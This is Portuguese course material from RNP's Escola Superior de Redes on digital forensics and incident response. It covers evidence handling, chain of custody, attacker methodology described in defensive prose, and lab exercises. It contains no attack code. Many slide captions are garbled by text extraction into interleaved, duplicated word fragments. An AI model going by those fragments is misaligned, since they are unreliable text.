April 25, 2017 | Author: Escola Superior de Redes | Category: N/A
Material didático de apoio ao curso Análise Forense da Escola Superior de Redes. O curso é apresent...
Segurança
Análise forense
Análise forense
Escola Superior de Redes RNP
Copyright © 2009, Escola Superior de Redes RNP
Autor Guilherme Venere Revisor Pierre Lavelle Supervisão técnica Jacomo Piccolini Coordenação acadêmica Derlinéa Miranda Revisão final Pedro Sangirardi Design Tecnodesign Coordenação geral Luiz Coelho Versão 2.0.2 Todos os direitos reservados, no Brasil, por Escola Superior de Redes RNP http://www.esr.rnp.br
Análise forense Apresentação A Escola Superior de Redes da Rede Nacional de Ensino e Pesquisa (RNP) oferece cursos em tecnologia da informação e da comunicação para quem busca formação essencialmente prática. As atividades são situações-problema semelhantes às que são encontradas na prática do profissional de TI. Estas atividades exigem análise, síntese e construção de hipóteses para a superação do problema. A aprendizagem torna-se mais efetiva se contextualizada à realidade profissional. Os cursos propostos possuem 40 (quarenta) horas de duração divididas em 10 (dez) sessões de aprendizagem. Os participantes trabalham em grupo ou em duplas e cada um pode dispor de sua própria estação de trabalho. O material de ensino é composto de apostilas contendo slides comentados e roteiro de atividades práticas em laboratório.
Conhecimentos prévios \\Principais
ataques, mecanismos e ferramentas de segurança (como firewall, IDS, VPN) e autenticação ou o curso Segurança de redes e sistemas.
Objetivos \\Obter
uma visão geral e conceitos de análise forense
\\Apresentar
os principais procedimentos que devem ser seguidos pelo investigador
\\Compreender
as particularidades do processo de análise forense em Linux e Windows e as informações que devem ser coletadas em cada situação enfrentada
\\Aprender
a coletar evidências em uma imagem de disco de um sistema comprometido
\\Recuperar
evidências que possam fornecer pistas dos invasores
Escola Superior de Redes RNP
Ao final do curso o aluno terá aprendido a \\Criar
um CD de ferramentas forenses que poderá ser utilizado durante uma investigação
\\Elaborar
uma cronologia, descrevendo o que aconteceu e quando ocorreu cada evento do comprometimento investigado
\\Conhecer
a coleta de informações relacionadas aos programas executados, às bibliotecas do sistema e portas relacionadas
\\Identificar
o tipo de auditoria a ser realizada
Sumário Sessão de aprendizagem 1 Princípios de análise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Sessão de aprendizagem 2 Ambiente e ferramentas de análise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 Sessão de aprendizagem 3 Ambiente e ferramentas de análise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43 Sessão de aprendizagem 4 Coleta de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 Sessão de aprendizagem 5 Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 Sessão de aprendizagem 6 Recuperação e análise de evidências (parte 2). . . . . . . . . . . . . . . . . . . . . . . . . 99 Sessão de aprendizagem 7 Linha de tempo e reconstrução do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 115 Sessão de aprendizagem 8 Análise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 Sessão de aprendizagem 9 Análise forense avançada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135 Sessão de aprendizagem 10 Análise forense avançada em Windows (parte 2). . . . . . . . . . . . . . . . . . . . . . . 155 Bibliografia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Escola Superior de Redes RNP
1 Sessão de aprendizagem 1 Princípios de análise forense Sumário da sessão Princípios de análise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Motivações para investigar um incidente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Modo de ação dos atacantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Detecção de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Tipos de sistemas comprometidos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Procedimentos para análise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Cadeia de custódia de evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Metodologia para análise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Atividade 1 – Preparando um checklist. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Atividade 2 – Funcionamento de um rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Atividade 3 – Investigando um computador. . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
8
Escola Superior de Redes RNP
Princípios de análise forense
Princípios p de análise forense
A resposta a um incidente de segurança está dividida em seis passos:
Resposta R t a incidentes i id t de d segurança Preparação Identificação Contenção Erradicação R ã Recuperação Acompanhamento
\\Preparação
– A empresa define os ativos que deseja proteger, e as medidas cabíveis em caso de incidente.
\\Identificação
– São utilizados mecanismos e técnicas para identificar a ocorrência de um incidente, e definir a extensão do ataque.
\\Contenção
– Deve-se conter o ataque, impedindo que o invasor consiga acesso a outros sistemas e minimizando a atividade do atacante.
\\Erradicação
– As ações do atacante devem ser erradicadas, com a aplicação de filtros e impedimento de qualquer atividade do invasor na rede.
\\Recuperação
– Os sistemas invadidos devem ser recuperados e reinstalados.
\\Acompanhamento
– As técnicas e vulnerabilidades utilizadas pelo atacante devem ser estudadas, e medidas devem ser aplicadas para impedir que elas funcionem.
Princípios p de análise forense A empresa d deve ddefinir fi i o que é um iincidente id t dde segurança de acordo com os ativos que deseja proteger. t Incidentes de segurança são eventos que interrompem o procedimento normal de operação de uma empresa e causam algum tipo de crise. Podem ser ataques à infra-estrutura de informação de uma empresa. p A prevenção dos incidentes é crucial.
Princípios p de análise forense Análise forense é o segundo passo no processo de resposta a incidentes. Existe uma sobreposição com o primeiro e com o terceiro passo: o analista forense deve participar do processo de preparação pré-incidente, é e também é do processo de contenção pós-incidente. Recuperar e analisar dados da maneira mais imparcial e livre de distorções possível, para reconstruir os dados ou o que aconteceu a um sistema no passado.
Análise forense – Sessão de aprendizagem 1
Incidentes de segurança podem ser causados por qualquer tipo de ataque realizado à infra-estrutura de informação de uma empresa, seja ele um ataque lógico ou um ataque físico. Os tipos mais comuns são ataques lógicos como invasões de servidores e ataques de negação de serviços, comprometimento ou perda de dados e infecção por vírus. É necessário criar procedimentos que descrevam ações a tomar no caso da ocorrência de um incidente de segurança, inclusive no caso de incidentes inesperados. Deve-se gerar documentos que descrevam os procedimentos de resposta a incidentes, os responsáveis pelas ações, a ação legal que a empresa está disposta a executar e principalmente um checklist de ação para o profissional que vai responder ao incidente. O analista forense deve se preocupar em tentar recuperar as evidências da forma mais confiável possível, evitando contaminar ou destruir evidências. Registrando e documentando tudo o que foi feito, o analista não precisará confiar na memória mais tarde, no momento de reconstruir os passos que foram executados durante a coleta de dados ou apresentar resultados aos superiores.
9
Por este mesmo motivo é bom sempre realizar análises dos dados em cópias, mantendo os originais seguros contra modificações e permitindo que seus passos sejam repetidos posteriormente.
Princípios p de análise forense Minimizar Mi i i perda d de d dados d d Evitar contaminação dos dados Registrar e documentar todas as ações Analisar, impreterivelmente, dados em cópias Reportar as informações coletadas Pi i l t manter-se t i i l Principalmente: imparcial “É um erro capital teorizar antes de obter todas as evidências.”
Sherlock Holmes
Motivações ç ppara investigar g um incidente Razões R õ para não ã iinvestigar ti um iincidente: id t Custo Demora Falta de objetividade Disponibilização de recursos importantes P d d tempo t Processo que demanda e recursos, nem sempre útil para a empresa. É mais fácil reinstalar um computador do que realizar uma investigação.
Durante o processo de análise forense, é comum aparecerem informações indicando comprometimento de outros sistemas da empresa ou mesmo de outras empresas. É importante que o analista forense reporte frequentemente o andamento das investigações e os fatos relevantes descobertos, para que a empresa possa tomar as medidas necessárias. É preciso que se mantenha total imparcialidade durante a investigação. Antes de apontar o culpado, tenha certeza de que ele não é inocente.
Motivações para investigar um incidente \\Identificar
sinais de ataque – Em muitas situações, quando uma máquina está comprometida, ela começa a perder desempenho, pois está sendo utilizada pelo hacker ou vírus para fins diferentes daqueles aos quais se destina. Um dos passos de uma análise forense é tentar identificar sinais de comprometimento. Isto pode ajudar a empresa a descobrir se outros servidores que apresentam o mesmo comportamento estão comprometidos ou não.
\\Determinar
Motivações ç ppara investigar g um incidente Então, E tã por que iinvestigar? ti ? Identificar sinais de ataque Determinar a extensão do comprometimento Reconstruir a ordem dos eventos Entender o modus operandi do atacante R d Responder: O quê? Quando? Onde? Como?
Princípios de análise forense
a extensão do comprometimento – Como foi dito, durante o processo de análise forense é comum aparecerem informações sobre o comprometimento de outros sistemas dentro ou fora da empresa. Descobrir as máquinas que foram comprometidas é importante para manter a integridade da informação a ser protegida.
\\Reconstruir
a ordem dos eventos – Com isso é possível descobrir o que o invasor fez durante o período em que teve acesso ao sistema da empresa. A correlação de eventos pode ajudar a empresa a determinar o que foi comprometido, e principalmente quando ocorreu o comprometimento. É muito comum descobrir, por exemplo, que a empresa já estava invadida há meses, e que só por algum descuido do invasor é que tudo foi descoberto.
10
Escola Superior de Redes RNP \\Entender
o modus operandi do atacante – Este item faz da análise forense uma poderosa ferramenta de proteção contra ataques. Sabendo como o atacante agiu da primeira vez, a empresa vai poder tomar ações bem fundamentadas para se proteger contra novos ataques.
Modo de ação ç dos atacantes IInformação f ã é a sua maior i arma. Conhecendo o modo de operação dos invasores, você pode melhorar suas defesas; facilita o trabalho de investigação, porque você já sabe o que procurar. Técnicas de engenharia social são difíceis de combater: somente um treinamento adequado pode q p diminuir esse risco. A maior parte dos ataques segue um mesmo padrão.
Modo de ação dos atacantes É claro que nem todos os hackers agem do mesmo modo, mas pode-se dizer que uma grande parte deles segue um padrão de ação comum. Conhecer esse padrão já é um bom começo para analisar um sistema que provavelmente foi comprometido. Normalmente, os ataques se iniciam algum tempo antes da invasão propriamente dita: o invasor precisa conhecer sua rede, saber como vai conseguir comprometer seu sistema. Portanto, as atividades de reconhecimento podem ser o primeiro indício de que algo está para acontecer.
Um tipo de teste difícil de detectar é um reconhecimento que utiliza técnicas de engenharia social. Um simples telefonema pode ser mais eficiente para entregar os pontos fracos de sua rede do que uma ferramenta poderosa. Neste caso, a proteção fica mais difícil, e só um treinamento adequado poderá proteger a empresa.
Modo de ação ç dos atacantes Identificação Id tifi ã d do alvo l Coleta de informações Identificação de vulnerabilidades Comprometimento do sistema Controle do sistema I t l ã d t Instalação de fferramentas Remoção de rastros Manutenção do sistema comprometido
Depois de coletar informações sobre o sistema que vai invadir, o hacker parte para a invasão. Nesta hora, já se torna mais difícil detectar as atividades do invasor. Muitas vezes são utilizadas ferramentas que simulam uma conexão válida, ou então técnicas para esconder o ataque, como criptografia ou túneis de protocolos. Mecanismos de detecção de intrusão são muito úteis. Posteriormente, estes mesmos mecanismos poderão ser atualizados com as informações coletadas após um ataque. Analisando a técnica utilizada pelo invasor, a empresa poderá criar mecanismos mais eficientes para se defender.
Após comprometer o sistema, o invasor normalmente tenta tomar o controle do sistema. O invasor precisa então tentar adquirir privilégios de administrador. Ferramentas que monitorem a integridade do sistema podem auxiliar a detectar uma invasão antes que ela se torne mais séria. Programas como Tripwire permitem monitorar a integridade dos arquivos de uma máquina.
Análise forense – Sessão de aprendizagem 1
11
Após conseguir o acesso privilegiado ao sistema, o invasor tenta apagar os rastros de sua existência, para impedir que ele seja detectado enquanto estiver realizando suas ações maldosas. Neste momento, é comum o invasor instalar um rootkit, um pacote de ferramentas que modifica o sistema para esconder qualquer traço da existência do hacker na máquina. Ao instalar uma ferramenta como esta, o hacker praticamente passa a controlar a máquina. Pode-se utilizar uma ferramenta de detecção de rootkits, tal como o Chkrootkit, para tentar detectar a presença dessas ferramentas. Outra alternativa é monitorar a rede para descobrir se a máquina está comprometida. Hoje em dia, sistemas comprometidos têm um alto valor de troca no submundo da internet. Ferramentas de negação de serviço podem ser instaladas em diversos sistemas comprometidos, e o poder somado desses sistemas pode ser trocado no submundo por informação ou mesmo por dinheiro. Como podemos ver, a invasão de sistemas não é só uma diversão para alguns invasores, podendo ser um negócio bem rentável. Uma característica do comportamento de invasores é a manutenção do sistema comprometido. É muito comum ver máquinas comprometidas atualizadas pelo hacker, corrigindo as falhas de segurança que permitiram a sua entrada. Para garantir que poderão voltar no futuro, os invasores costumam instalar back-doors, serviços clandestinos que permitem ao invasor se conectar mais tarde com as permissões privilegiadas que conseguiu.
Detecção ç de ataques q
Detecção de ataques
Padrão P d ã para d detectar t t mais i ffacilmente il t um ataque t : Monitoramento da rede Detecção de assinaturas de ataques e modificações no sistema Utilização de ferramentas de auditoria Principalmente conhecimento de seus sistemas e de Principalmente, sua rede
Tipos p de sistemas comprometidos p Sistema Si t d desligado: li d Sem atividade no disco rígido Evidências voláteis perdidas Sem atividade do invasor Sem necessidade de contenção do ataque P i l t algumas l idê i fforam modificadas difi d Possivelmente evidências
Princípios de análise forense
Tipos de sistemas comprometidos Neste caso, a coleta de evidências fica mais fácil: as informações voláteis presentes na memória do computador ou na tela foram perdidas. O sistema agora contém apenas os arquivos que foram gravados no disco rígido, evidências que deverão ser coletadas.
12
Escola Superior de Redes RNP
Tipos p de sistemas comprometidos p Sistema Si t liligado: d Atividade no disco rígido Atividade de rede Evidências voláteis Possibilidade de atividade do invasor N id d dde conter t o ataque t Necessidade Modificação das evidências
Tipos p de sistemas comprometidos p Sistema Si t liligado: d Verificar se o sistema está comprometido Não comprometer as evidências Conter o ataque Coletar evidências P ff ou shutdown? h td ? Power-off Power-off: não modifica evidências, mas pode corromper os dados Shutdown: garante integridade dos dados, mas pode modificar evidências
A ação do analista forense tem que ser muito cuidadosa, para não despertar a atenção do invasor, não comprometer evidências, mas também para impedir que mais dano seja causado. Por outro lado, em um sistema ligado, o analista forense tem a possibilidade de coletar informações que não estariam disponíveis em um sistema desligado. Por exemplo, é possível coletar informações de rede, permitindo identificar com mais segurança se o sistema está comprometido ou não, e também identificar outras máquinas na rede da empresa que também possam estar comprometidas. Tudo o que for feito poderá alterar as evidências, inclusive não fazer nada. Portanto, as ações do analista forense têm que ser bem pensadas, e é muito importante que todas as ações sejam documentadas. A primeira coisa a fazer é tentar identificar, da forma menos intrusiva possível, se o sistema suspeito está ou não comprometido. Algumas técnicas, como realizar um scan por portas abertas no sistema, ou procurar por arquivos suspeitos no espaço de disco, devem ser evitadas a todo custo. Estas ações podem disparar alarmes que alertariam o invasor de que ele foi descoberto, além de comprometer evidências.
Dependendo da criticidade do sistema, muitas vezes não será possível simplesmente desligar a máquina da energia. Um servidor de banco de dados teria informações corrompidas se fosse desligado da tomada. Ou então, ao tentar executar uma parada do sistema, mecanismos de proteção instalados pelo invasor poderiam apagar todo o disco, provocando o desaparecimento de evidências e dados importantes.
Procedimentos ppara análise forense A reação precisa ser rápida, rápida por isso esteja preparado Tenha em mãos um checklist de ações e todas as ferramentas necessárias Esterilize as mídias antes de coletar evidências C l t primeiro Colete i i as evidências idê i mais i voláteis lát i Crie e utilize uma dirt list: uma lista de palavras, termos e d indicar i di um comprometimento ti t nomes que podem Esta lista deve ser utilizada em todo o processo de in estigação e atualizada investigação at ali ada constantemente Crie um registro para cada evidência e faça um relatório da sua investigação
Análise forense – Sessão de aprendizagem 1
Procedimentos para análise forense A primeira fase de uma investigação forense é a preparação, como foi dito anteriormente: saber o que pode e o que não pode ser desligado, elaborar um checklist de ações que devem ser tomadas, e principalmente preparar as ferramentas necessárias. É importante também esterilizar as mídias onde serão gravadas as evidências, para evitar a contaminação com dados previamente gravados nas mesmas.
13
Esterilizar as mídias significa eliminar quaisquer dados que possam existir nos discos e dispositivos utilizados para gravar suas evidências. Normalmente, basta executar um procedimento de gravação de zeros (byte 00) em todos estes dispositivos, sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidência. Evidências voláteis são aquelas que se perdem mais facilmente, caso o sistema seja desligado ou ações executadas pelo hacker ou pelo analista sobrescrevam informações. Exemplos: dados na memória RAM, processos em execução, conexões estabelecidas, entre outros. Uma maneira de ajudar o analista forense a procurar evidências é utilizando uma dirt list, ou lista maliciosa, que deve conter palavras, termos, nomes de ferramentas e pessoas que tenham ligação com ataques, grupos de hackers, atividades criminosas, entre outros. Com isso, o analista poderá realizar pesquisas nas evidências procurando pela presença dessas palavras-chave. Esta lista deve ser atualizada constantemente para incluir palavras e nomes encontrados durante a investigação.
Procedimentos ppara análise forense O d de Ordem d coleta l t de d evidências: idê i Informações sobre o ambiente (ambiente operacional, f t dda sala fotos l e da d tela t l ddo computador) t d ) Cópia binária da memória RAM Informações sobre processos em execução, conexões de rede, registros, cache etc. Informações sobre o tráfego de rede Cópias p dos discos rígidos g Possíveis mídias removíveis (fitas, disquetes, CD-ROM) Material impresso (adesivos (adesivos, folhas impressas)
Procedimentos ppara análise forense Criar C i registro i t para cada d evidência idê i Criar assinatura das evidências: MD5 SHA1 SHA256
Evitar comprometer evidências Criar relatório detalhado da investigação: Comandos executados Pessoas entrevistadas E idê i coletadas Evidências l t d
Princípios de análise forense
Toda informação coletada durante a avaliação inicial e durante a investigação deve ser documentada e autenticada. Esta autenticação pode ser feita utilizando algum algoritmo de hash de dados, tal como MD5, SHA1, SHA256 ou outro algoritmo de hash equivalente. Tenha sempre em mãos um checklist que indique o que fazer e quando. O checklist deve ser o mais minucioso possível, não deixando dúvidas sobre as ações a serem tomadas. Se possível, ele deve incluir os comandos e argumentos que precisam ser usados em cada etapa. Na coleta de evidências, devemos seguir a ordem de volatilidade das informações: informações voláteis são aquelas que se perdem com mais facilidade. Há poucos anos, utilizava-se o algoritmo MD5 como padrão, mas devido a pesquisas recentes sobre ataques contra a segurança desse algoritmo e do próprio SHA1, a comunidade internacional começou a desenvolver novos algoritmos para substituí-los.
Teoricamente, estes algoritmos têm um baixo índice de colisão, isto é, dificilmente geram uma mesma chave criptográfica a partir de dados diferentes. Entretanto, pesquisas detectaram uma possibilidade de gerar colisões com taxas de probabilidade bem menores do que deveriam ocorrer naturalmente com estes algoritmos. Por isso, recomenda-se a utilização de algoritmos melhores e mais atuais.
14
Escola Superior de Redes RNP
Cadeia de custódia de evidências Registro R i t d detalhado t lh d ddo modo d como as evidências idê i foram tratadas durante a análise forense, desde a coleta l t até té os resultados lt d fifinais. i Este registro deve conter informações sobre quem teve acesso às evidências ou às cópias utilizadas. Durante um p processo judicial, este registro vai j g garantir que as provas não foram comprometidas. Cada evidência coletada deve ter um registro de custódia associada a ela.
Cadeia de custódia de evidências Este registro visa garantir que as evidências não foram modificadas ou comprometidas, acidentalmente ou propositalmente, durante o processo de análise forense. Isto é importante principalmente se o caso vai ser tratado judicialmente. Em juízo, será necessário comprovar que as evidências são válidas legalmente, e um registro mal feito pode colocar a perder um caso inteiro. Um cuidado especial deve ser dado às evidências digitais, pois elas são mais facilmente modificadas ou destruídas.
Cadeia de custódia de evidências Um registro de custódia deve conter pelo menos os seguintes itens: Data e hora de coleta da evidência De quem a evidência foi apreendida Informações sobre o hardware hardware, como fabricante, fabricante modelo, modelo números de série etc. Nome da pessoa que coletou a evidência Descrição detalhada da evidência Nome e assinatura das pessoas envolvidas Identificação do caso e da evidência (tags) Assinaturas MD5/SHA1 das evidências evidências, se possível Informações técnicas pertinentes
Metodologia g ppara análise forense Procedimentos do analista forense são invariáveis Utilidade de metodologia bem definida Os passos de uma investigação são cíclicos: j Cada ppasso alimenta o conjunto de evidências e fornece novas bases para o investigador procurar fase. ppor mais evidências na próxima p Os passos devem ser repetidos até que: Chegue se a uma conclusão Chegue-se Não existam mais informações úteis a encontrar
Metodologia para análise forense Independentemente do sistema invadido ou do método utilizado na invasão, os procedimentos seguidos pelo analista forense não variam. Uma metodologia bem definida facilita o trabalho do investigador e ajuda a mantê-lo focado.
Os passos que devem ser seguidos em uma investigação são cíclicos: cada passo alimenta o conjunto de evidências e fornece novas bases para o investigador procurar por mais evidências na próxima fase. Os passos devem ser repetidos até que se consiga chegar a uma conclusão, ou até decidir que não há mais informações úteis a serem encontradas. O primeiro passo da investigação das evidências é tentar estabelecer uma linha de tempo para o ataque e para as evidências encontradas durante a fase inicial de análise. Com a linha de tempo, o investigador pode ter uma base para procurar por novas evidências, arquivos e dados que possam ter relação com o caso.
Análise forense – Sessão de aprendizagem 1
15
O passo seguinte é analisar esses arquivos e dados para identificar sua relação com o caso, funcionalidades e informações importantes que possam conter. A seguir, o investigador deve realizar uma análise no nível de dados do sistema operacional, procurando por strings e bytes que possam ser importantes para a investigação. Deve-se voltar à linha de tempo do incidente, pra inserir os novos dados coletados e associar essas informações com o caso. Com essas novas informações, o investigador terá uma nova base para procurar por mais evidências, e assim o processo se repete até que o caso seja solucionado ou se decida que o esforço e o custo da investigação já não valem mais a pena. Finalmente, quando já tiver sido realizada uma análise o mais completa possível, deve-se gerar um relatório com os resultados encontrados e técnicas utilizadas, e uma conclusão para o caso alcançada, com base nas evidências coletadas durante a investigação.
Conclusões O sucesso da investigação depende de uma preparação prévia Informação é a melhor arma contra os invasores Tenha em mãos: Todas as informações sobre o sistema comprometido Todas as ferramentas necessárias Não comprometa as evidências A cadeia de custódia de evidências garante uma representação fiel dos dados originais Adote uma metodologia e seja imparcial e preciso em suas ações
Princípios de análise forense
Conclusões A seguir prepararemos o ambiente de análise forense e conheceremos as ferramentas necessárias para a investigação.
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 1
16
1 Sessão de aprendizagem 1 Princípios de análise forense Roteiro de atividades Tópicos e conceitos \\Preparação
para uma investigação e identificação de formas de ataque.
Competências técnicas desenvolvidas \\Elaboração
de um checklist, atualização em relação às formas de ataque
rootkit; \\Investigação
do comprometimento de computadores.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa.
Tempo previsto para as atividades \\90-120
minutos
Escola Superior de Redes RNP
18
Atividade 1 – Preparando um checklist 1. Este exercício deve ser feito em dupla. Suponha que em sua empresa existe um servidor web considerado crítico, que hospeda todo o sistema de gerenciamento de projetos da empresa e não pode ficar parado. Um backup diário dos dados é realizado constantemente. Deve-se supor que os integrantes da dupla fazem parte da comissão que está definindo os procedimentos a adotar quando ocorrer um incidente de segurança envolvendo a máquina do servidor. Pensando em todas as implicações destas ações, defina o que deve ser feito no caso de: 1. Ataque de negação de serviço; 2. Comprometimento da máquina por ação hacker. Discuta com seu parceiro os procedimentos e monte um checklist das ações que devem ser tomadas. Procure ser o mais objetivo possível, de modo que uma pessoa que siga o checklist não precise tomar nenhuma decisão. Pense que em um momento de crise, a pessoa referida não pode perder tempo tomando decisões.
Atividade 2 – Funcionamento de um rootkit
Junto com um colega, pesquise na internet informações sobre rootkits que os invasores usam para tomar controle de um servidor, tanto em servidores Unix quanto Windows. Procure informações sobre um rootkit da sua escolha para saber suas funcionalidades, e os modos para detectar a presença dele em uma máquina. Elabore um documento sobre este rootkit, descrevendo o modus operandi do mesmo, funcionalidades, dificuldade de detecção e, se possível, formas de detectá-lo e removê-lo do sistema. O instrutor vai escolher alguns alunos para apresentar este documento aos demais.
Atividade 3 – Investigando um computador
(Para fazer em dupla) Você deve verificar se a máquina de seu companheiro está comprometida. Lembre-se dos passos necessários para garantir a integridade das evidências. Usando as ferramentas do sistema, você deve descobrir todos os serviços TCP ativos na máquina. Para este exercício, vamos considerar como comprometido o serviço Bootp (porta 68) no Linux, ou o serviço Netbios (porta 445) no Windows. Se o serviço estiver sendo executado, a máquina está comprometida. Faça um relatório de todas as ações tomadas durante a investigação, bem como um registro de custódia de qualquer evidência coletada. Como sugestão, utilize o roteiro criado na Atividade 1; ele facilita a investigação? Quais foram os problemas encontrados ao seguir o roteiro? Sugira modificações ao roteiro.
Análise forense – Sessão de aprendizagem 1
2 Sessão de aprendizagem 2 Ambiente e ferramentas de análise forense Sumário da sessão Pré-requisitos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Hardware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Sistema operacional. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 Hardware forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Pacote forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 Programas específicos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 Preparação da investigação. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 Preparação do ambiente. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 Coletando informações dos processos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 Preservação do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Outras formas de preservação do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 Atividade 1 – Kit do investigador. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Atividade 2 – Coleta de informações voláteis . . . . . . . . . . . . . . . . . . . . . . . . . . 42
20
Escola Superior de Redes RNP
Pré-requisitos
Pré-requisitos A primeira ação do investigador é coletar evidências no local onde ocorreu a invasão. Após isso, entra em cena a análise de mídias. O investigador precisará analisar dezenas de gigabytes de dados, e por isso deve contar com um ambiente propício, com ferramentas que facilitem seu trabalho.
Pré-requisitos O objetivo da análise de mídias é coletar evidências que comprovem ou refutem a invasão. As evidências originais devem ser preservadas, por isso a análise deve ser feita em cópias das mídias. O analista deve evitar comprometer as evidências, e garantir que todos os resultados possam ser reproduzidos, o que envolve a criação e manipulação de dezenas de gigabytes de dados. Além disso, o sistema invadido não é confiável, portanto o investigador precisa dispor de um ambiente confiável e controlado para realizar a investigação.
Durante o atendimento inicial ao incidente, o investigador vai precisar da recuperação de arquivos em memória, coleta de cópias fiéis dos discos rígidos e dispositivos de armazenagem presentes na máquina investigada, cópia da memória RAM, coleta de informações de conexões de rede, entre outros. Em alguns incidentes, onde ocorre o envolvimento de autoridades policiais, é necessário manter sob guarda o disco original da máquina envolvida no incidente. No Brasil, somente um perito autorizado pode coletar, de forma legal, evidências na cena de um incidente. A empresa ou responsável pela máquina deve garantir apenas armazenamento e custódia seguros do equipamento. A utilização de hashes MD5/SHA1 garante que as evidências coletadas durante uma investigação possam ser comparadas posteriormente, caso seja necessário refazer os passos da análise forense. Duas evidências coletadas com a mesma técnica e que tenham os mesmos hashes são garantidamente iguais.
Em um sistema invadido, o hacker pode ter modificado arquivos, kernel, bibliotecas compartilhadas, módulos carregados. Portanto, nenhum arquivo existente na máquina é confiável. Se existir um rootkit e o investigador utilizar os comandos do sistema para listar processos ou arquivos, não verá as informações escondidas pelo rootkit. O investigador deve sempre utilizar suas próprias ferramentas e bibliotecas.
Hardware
Hardware Quanto mais memória RAM e mais processamento houver, melhor. O espaço livre em disco deve ser generoso, algumas vezes podendo analisar centenas de gigabytes. O sistema deve ter baias para conectar os discos de evidências. Um notebook é imprescindível quando não for possível remover o disco de evidência. Além disso, o investigador deve dispor de equipamentos de rede diversos.
O sistema deve ter baias para conectar os discos de evidências. De preferência, as baias devem ser configuradas para jamais iniciarem o sistema a partir dos discos contidos nelas.
Um notebook é imprescindível quando não for possível remover o disco de evidência. Este notebook deve conter as mesmas ferramentas da estação forense. Além disso, o investigador deve dispor de equipamentos de rede diversos: hubs, cabos crossover e normais, placas de rede normais e wireless, disco rígido externo (USB e paralelo), bem como um equipamento para realizar cópias de disco automaticamente.
Análise forense – Sessão de aprendizagem 2
21
Sistema operacional Entre os pontos que devem ser levados em consideração na hora de escolher o sistema operacional, podemos citar os seguintes: Familiaridade do investigador com o sistema operacional Disponibilidade de ferramentas Capacidade do sistema operacional de reconhecer diversos tipos de mídias ou sistemas de arquivos diferentes Mecanismos de segurança disponíveis no sistema operacional
Sistema operacional Durante o curso, usaremos o Linux, por causa de algumas características deste sistema: Não é necessário adquirir licenças para uso Existe uma gama completa de ferramentas de análise forense de uso livre Capacidade de acessar qualquer tipo de sistema de arquivos ou partições a partir de configuração no kernel Capacidade de acessar diversos tipos de dispositivos (USB, discos etc) Firewall embutido no kernel e possibilidade de utilizar diversas modificações no kernel para aumentar a segurança da máquina Disponibilidade de diversas distribuições prontas para análise forense, facilitando o trabalho de reunir diferentes ferramentas
Sistema operacional Apesar disso, existem limitações na utilização do sistema Linux. Se for necessário analisar algum executável para Windows, precisaremos de uma maneira de emular o Windows. A melhor opção é utilizar o VMWare ou outro sistema de emulação, como o Wine. Apesar da escolha pelo Linux, existem ótimas ferramentas de análise forense para Windows, tal como o software EnCase.
Ambiente e ferramentas de análise forense
